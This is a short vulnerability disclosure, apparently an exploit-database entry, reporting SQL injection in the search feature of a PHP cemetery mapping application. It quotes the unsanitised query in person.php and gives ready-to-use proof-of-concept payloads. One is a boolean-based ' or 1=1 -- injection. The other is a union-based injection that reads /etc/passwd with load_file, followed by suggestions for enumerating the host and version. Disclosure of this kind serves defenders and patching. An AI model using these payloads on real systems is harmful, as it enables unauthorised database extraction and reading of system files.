Cemetry Mapping and Information System 1.0 – Multiple SQL Injections
Due to unsanitized user input, the attacker can retrieve the entire SQL database in this case. The function 'person.php' takes user input through the search bar at line 45: '$_POST['search']' and uses it without any sanitization for the following SQL statement (line 46-49): $sql = 'SELECT * FROM tblpeople WHERE FNAME LIKE '%'.$search.'%'; $mydb->setQuery($sql); $cur = $mydb->executeQuery(); $numrows = $mydb->num_rows($cur);//get the number of count. A single quote (') at the search bar under http://localhost/CemeteryMapping/index.php?q=person will result in SQL synthax errors. Proof of Concept: Since the php code lacks of sanitization of the user input, multiple SQL injection queries can be found. 1. Boolean-based SQL injection POST request the page /CemeteryMapping/index.php?q=person and use as payload: ' or 1=1 -- search=' or 1=1 -- 2. Union-based SQL injection To retrieve sensitive files like /etc/passwd, use the following payload at the search bar (POST request http://localhost/CemeteryMapping/index.php?q=person): search=' UNION SELECT NULL,load_file('/etc/passwd'),NULL,NULL,NULL,NULL,NULL-- - If you want to enumerate the target system further, replace 'load_file('/etc/passwd')' with one of the following MySQL commands: @@hostnmae @@version @@datadir